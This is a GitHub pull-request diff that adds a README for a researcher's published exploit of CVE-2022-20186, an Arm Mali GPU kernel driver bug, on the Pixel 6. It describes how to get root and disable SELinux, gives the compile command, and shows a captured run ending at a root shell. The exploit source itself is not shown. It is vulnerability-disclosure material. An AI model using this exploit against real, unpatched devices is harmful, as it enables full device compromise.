Merge pull request #695 from github/mali_20186

Blog resources

Author: m-y-mo

SecurityExploits/Android/Mali/CVE_2022_20186/README.md

@@ -0,0 +1,36 @@
+## Exploit for CVE-2022-20186
+
+The write up can be found [here](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/). This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Google Pixel 6 and supports patch levels from Novmember 2021 to Feburary 2022. It is easy to add support for other firmware by changing a few image offsets. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
+```
+
+The exploit rarely fails and can be retried without crashing the device. If successful, it should disable SELinux and gain root.
+
+```
+oriole:/ $ /data/local/tmp/mali_alias                                                                                             
+fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
+tracking page 0x6ff794e000
+drain 0x6d5b200000
+gpu_va[0] 6ff6698000
+gpu_va[1] 6ff6695000
+alias 0x6ff6693000
+overwrite addr : 6ff370051c 51c
+overwrite addr : 6de310051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+result 50
+overwrite addr : 6ff370051c 51c
+overwrite addr : 6de310051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+overwrite addr : 6d5f30051c 51c
+overwrite addr : 6d5f10051c 51c
+result 50
+oriole:/ # 
+```